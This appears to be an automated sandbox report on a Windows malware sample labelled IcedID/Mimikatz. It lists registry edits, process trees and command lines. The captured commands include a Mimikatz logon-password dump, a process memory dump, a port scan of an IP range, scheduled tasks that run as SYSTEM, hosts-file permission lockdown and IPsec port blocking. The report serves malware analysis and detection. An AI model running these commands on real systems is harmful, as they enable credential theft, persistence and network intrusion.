lbcjggfpn.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad bibnuun.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f00c9000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 bibnuun.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" bibnuun.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{65DC5187-5C2E-46AA-A13C-11B20772B5FA}\WpadDecisionReason = "1" bibnuun.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies." netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump lbcjggfpn.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My bibnuun.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs bibnuun.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 bibnuun.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{65DC5187-5C2E-46AA-A13C-11B20772B5FA}\22-35-53-15-8b-79 bibnuun.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software lbcjggfpn.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump lbcjggfpn.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates bibnuun.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs bibnuun.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" lbcjggfpn.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump lbcjggfpn.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates bibnuun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root bibnuun.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates bibnuun.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\22-35-53-15-8b-79\WpadDetectedUrl bibnuun.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs bibnuun.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 bibnuun.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs bibnuun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed bibnuun.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" bibnuun.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" bibnuun.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{65DC5187-5C2E-46AA-A13C-11B20772B5FA} bibnuun.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\22-35-53-15-8b-79 bibnuun.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\22-35-53-15-8b-79\WpadDecisionTime = b08f3a9c198ada01 bibnuun.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs bibnuun.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs bibnuun.exe -
Modifies registry class 14 IoCs
Processes:
bibnuun.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile" bibnuun.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ bibnuun.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile" bibnuun.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ bibnuun.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile" bibnuun.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ bibnuun.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile" bibnuun.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile" bibnuun.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ bibnuun.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ bibnuun.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile" bibnuun.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\ bibnuun.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ bibnuun.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile" bibnuun.exe -
Processes:
bibnuun.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 bibnuun.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 bibnuun.exe -
Runs net.exe
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Runs ping.exe 1 TTPs 1 IoCs
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Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
bibnuun.exepid process 2108 bibnuun.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
bibnuun.exepid process 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe -
Suspicious behavior: LoadsDriver 31 IoCs
Processes:
pid process 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 464 -
Suspicious behavior: RenamesItself 1 IoCs
Processes:
2024-04-09_09df14fcc3f41b9604ca36f830f9e077_hacktools_icedid_mimikatz.exepid process 2308 2024-04-09_09df14fcc3f41b9604ca36f830f9e077_hacktools_icedid_mimikatz.exe -
Suspicious use of AdjustPrivilegeToken 21 IoCs
Processes:
2024-04-09_09df14fcc3f41b9604ca36f830f9e077_hacktools_icedid_mimikatz.exebibnuun.exebibnuun.exevfshost.exesvchost.exelbcjggfpn.exegctgtz.exelbcjggfpn.exelbcjggfpn.exelbcjggfpn.exelbcjggfpn.exelbcjggfpn.exelbcjggfpn.exedescription pid process Token: SeDebugPrivilege 2308 2024-04-09_09df14fcc3f41b9604ca36f830f9e077_hacktools_icedid_mimikatz.exe Token: SeDebugPrivilege 2596 bibnuun.exe Token: SeDebugPrivilege 2568 bibnuun.exe Token: SeDebugPrivilege 2216 vfshost.exe Token: SeAuditPrivilege 2360 svchost.exe Token: SeDebugPrivilege 2708 lbcjggfpn.exe Token: SeShutdownPrivilege 2708 lbcjggfpn.exe Token: SeLockMemoryPrivilege 2000 gctgtz.exe Token: SeLockMemoryPrivilege 2000 gctgtz.exe Token: SeDebugPrivilege 1352 lbcjggfpn.exe Token: SeShutdownPrivilege 1352 lbcjggfpn.exe Token: SeDebugPrivilege 1528 lbcjggfpn.exe Token: SeShutdownPrivilege 1528 lbcjggfpn.exe Token: SeDebugPrivilege 2788 lbcjggfpn.exe Token: SeShutdownPrivilege 2788 lbcjggfpn.exe Token: SeDebugPrivilege 1212 lbcjggfpn.exe Token: SeShutdownPrivilege 1212 lbcjggfpn.exe Token: SeDebugPrivilege 2408 lbcjggfpn.exe Token: SeShutdownPrivilege 2408 lbcjggfpn.exe Token: SeDebugPrivilege 3140 lbcjggfpn.exe Token: SeShutdownPrivilege 3140 lbcjggfpn.exe -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
2024-04-09_09df14fcc3f41b9604ca36f830f9e077_hacktools_icedid_mimikatz.exebibnuun.exebibnuun.exexohudmc.exebibnuun.exessssgc.exepid process 2308 2024-04-09_09df14fcc3f41b9604ca36f830f9e077_hacktools_icedid_mimikatz.exe 2308 2024-04-09_09df14fcc3f41b9604ca36f830f9e077_hacktools_icedid_mimikatz.exe 2596 bibnuun.exe 2596 bibnuun.exe 2568 bibnuun.exe 2568 bibnuun.exe 2100 xohudmc.exe 2108 bibnuun.exe 2108 bibnuun.exe 1660 ssssgc.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
2024-04-09_09df14fcc3f41b9604ca36f830f9e077_hacktools_icedid_mimikatz.execmd.exebibnuun.execmd.execmd.exewpcap.exedescription pid process target process PID 2308 wrote to memory of 2548 2308 2024-04-09_09df14fcc3f41b9604ca36f830f9e077_hacktools_icedid_mimikatz.exe cmd.exe PID 2308 wrote to memory of 2548 2308 2024-04-09_09df14fcc3f41b9604ca36f830f9e077_hacktools_icedid_mimikatz.exe cmd.exe PID 2308 wrote to memory of 2548 2308 2024-04-09_09df14fcc3f41b9604ca36f830f9e077_hacktools_icedid_mimikatz.exe cmd.exe PID 2308 wrote to memory of 2548 2308 2024-04-09_09df14fcc3f41b9604ca36f830f9e077_hacktools_icedid_mimikatz.exe cmd.exe PID 2548 wrote to memory of 1828 2548 cmd.exe PING.EXE PID 2548 wrote to memory of 1828 2548 cmd.exe PING.EXE PID 2548 wrote to memory of 1828 2548 cmd.exe PING.EXE PID 2548 wrote to memory of 1828 2548 cmd.exe PING.EXE PID 2548 wrote to memory of 2596 2548 cmd.exe bibnuun.exe PID 2548 wrote to memory of 2596 2548 cmd.exe bibnuun.exe PID 2548 wrote to memory of 2596 2548 cmd.exe bibnuun.exe PID 2548 wrote to memory of 2596 2548 cmd.exe bibnuun.exe PID 2568 wrote to memory of 2708 2568 bibnuun.exe cmd.exe PID 2568 wrote to memory of 2708 2568 bibnuun.exe cmd.exe PID 2568 wrote to memory of 2708 2568 bibnuun.exe cmd.exe PID 2568 wrote to memory of 2708 2568 bibnuun.exe cmd.exe PID 2708 wrote to memory of 2400 2708 cmd.exe cmd.exe PID 2708 wrote to memory of 2400 2708 cmd.exe cmd.exe PID 2708 wrote to memory of 2400 2708 cmd.exe cmd.exe PID 2708 wrote to memory of 2400 2708 cmd.exe cmd.exe PID 2708 wrote to memory of 2404 2708 cmd.exe cacls.exe PID 2708 wrote to memory of 2404 2708 cmd.exe cacls.exe PID 2708 wrote to memory of 2404 2708 cmd.exe cacls.exe PID 2708 wrote to memory of 2404 2708 cmd.exe cacls.exe PID 2708 wrote to memory of 2352 2708 cmd.exe cmd.exe PID 2708 wrote to memory of 2352 2708 cmd.exe cmd.exe PID 2708 wrote to memory of 2352 2708 cmd.exe cmd.exe PID 2708 wrote to memory of 2352 2708 cmd.exe cmd.exe PID 2708 wrote to memory of 2360 2708 cmd.exe cacls.exe PID 2708 wrote to memory of 2360 2708 cmd.exe cacls.exe PID 2708 wrote to memory of 2360 2708 cmd.exe cacls.exe PID 2708 wrote to memory of 2360 2708 cmd.exe cacls.exe PID 2708 wrote to memory of 2380 2708 cmd.exe cmd.exe PID 2708 wrote to memory of 2380 2708 cmd.exe cmd.exe PID 2708 wrote to memory of 2380 2708 cmd.exe cmd.exe PID 2708 wrote to memory of 2380 2708 cmd.exe cmd.exe PID 2708 wrote to memory of 2412 2708 cmd.exe cacls.exe PID 2708 wrote to memory of 2412 2708 cmd.exe cacls.exe PID 2708 wrote to memory of 2412 2708 cmd.exe cacls.exe PID 2708 wrote to memory of 2412 2708 cmd.exe cacls.exe PID 2568 wrote to memory of 2920 2568 bibnuun.exe netsh.exe PID 2568 wrote to memory of 2920 2568 bibnuun.exe netsh.exe PID 2568 wrote to memory of 2920 2568 bibnuun.exe netsh.exe PID 2568 wrote to memory of 2920 2568 bibnuun.exe netsh.exe PID 2568 wrote to memory of 1444 2568 bibnuun.exe netsh.exe PID 2568 wrote to memory of 1444 2568 bibnuun.exe netsh.exe PID 2568 wrote to memory of 1444 2568 bibnuun.exe netsh.exe PID 2568 wrote to memory of 1444 2568 bibnuun.exe netsh.exe PID 2568 wrote to memory of 560 2568 bibnuun.exe netsh.exe PID 2568 wrote to memory of 560 2568 bibnuun.exe netsh.exe PID 2568 wrote to memory of 560 2568 bibnuun.exe netsh.exe PID 2568 wrote to memory of 560 2568 bibnuun.exe netsh.exe PID 2568 wrote to memory of 368 2568 bibnuun.exe cmd.exe PID 2568 wrote to memory of 368 2568 bibnuun.exe cmd.exe PID 2568 wrote to memory of 368 2568 bibnuun.exe cmd.exe PID 2568 wrote to memory of 368 2568 bibnuun.exe cmd.exe PID 368 wrote to memory of 1388 368 cmd.exe wpcap.exe PID 368 wrote to memory of 1388 368 cmd.exe wpcap.exe PID 368 wrote to memory of 1388 368 cmd.exe wpcap.exe PID 368 wrote to memory of 1388 368 cmd.exe wpcap.exe PID 368 wrote to memory of 1388 368 cmd.exe wpcap.exe PID 368 wrote to memory of 1388 368 cmd.exe wpcap.exe PID 368 wrote to memory of 1388 368 cmd.exe wpcap.exe PID 1388 wrote to memory of 2812 1388 wpcap.exe net.exe
Processes
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:964
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C:\Windows\TEMP\bpetituga\gctgtz.exe"C:\Windows\TEMP\bpetituga\gctgtz.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2000
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C:\Users\Admin\AppData\Local\Temp\2024-04-09_09df14fcc3f41b9604ca36f830f9e077_hacktools_icedid_mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\2024-04-09_09df14fcc3f41b9604ca36f830f9e077_hacktools_icedid_mimikatz.exe"1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2308 -
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\plwghlna\bibnuun.exe2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2548 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:1828 -
C:\Windows\plwghlna\bibnuun.exeC:\Windows\plwghlna\bibnuun.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2596
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C:\Windows\plwghlna\bibnuun.exeC:\Windows\plwghlna\bibnuun.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Sets file execution options in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2568 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Suspicious use of WriteProcessMemory
PID:2708 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2400
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:2404
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2352
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵PID:2360
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2380
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵PID:2412
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
- Modifies data under HKEY_USERS
PID:2920 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵
- Modifies data under HKEY_USERS
PID:1444 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵PID:560
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C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\yyshahwcl\hbzhttyqt\wpcap.exe /S2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:368 -
C:\Windows\yyshahwcl\hbzhttyqt\wpcap.exeC:\Windows\yyshahwcl\hbzhttyqt\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1388 -
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵PID:2812
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵PID:2436
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C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵PID:808
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵PID:1652
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C:\Windows\SysWOW64\net.exenet stop npf4⤵PID:1108
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵PID:2040
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C:\Windows\SysWOW64\net.exenet start npf4⤵PID:2528
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵PID:2864
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C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:2976
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C:\Windows\SysWOW64\net.exenet start npf3⤵PID:1928
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:1772
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C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:1352
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C:\Windows\SysWOW64\net.exenet start npf3⤵PID:1096
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:764
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C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\yyshahwcl\hbzhttyqt\clkieeyni.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\yyshahwcl\hbzhttyqt\Scant.txt2⤵
- Loads dropped DLL
PID:2284 -
C:\Windows\yyshahwcl\hbzhttyqt\clkieeyni.exeC:\Windows\yyshahwcl\hbzhttyqt\clkieeyni.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\yyshahwcl\hbzhttyqt\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2448 -
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\yyshahwcl\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\yyshahwcl\Corporate\log.txt2⤵
- Loads dropped DLL
- Drops file in Windows directory
PID:2136 -
C:\Windows\yyshahwcl\Corporate\vfshost.exeC:\Windows\yyshahwcl\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2216 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ggtulytzu" /ru system /tr "cmd /c C:\Windows\ime\bibnuun.exe"2⤵PID:2828
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2984
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "ggtulytzu" /ru system /tr "cmd /c C:\Windows\ime\bibnuun.exe"3⤵
- Creates scheduled task(s)
PID:2196 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ylbnaugyt" /ru system /tr "cmd /c echo Y|cacls C:\Windows\plwghlna\bibnuun.exe /p everyone:F"2⤵PID:2220
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2168
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "ylbnaugyt" /ru system /tr "cmd /c echo Y|cacls C:\Windows\plwghlna\bibnuun.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:2228 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "agffthjhi" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\bpetituga\gctgtz.exe /p everyone:F"2⤵PID:1752
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1488
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "agffthjhi" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\bpetituga\gctgtz.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:2452 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵
- Modifies data under HKEY_USERS
PID:1720 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵PID:2064
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵PID:2572
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵PID:2596
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C:\Windows\TEMP\yyshahwcl\lbcjggfpn.exeC:\Windows\TEMP\yyshahwcl\lbcjggfpn.exe -accepteula -mp 964 C:\Windows\TEMP\yyshahwcl\964.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2708 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵PID:2712
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵PID:2012
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Modifies data under HKEY_USERS
PID:2752 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵PID:2664
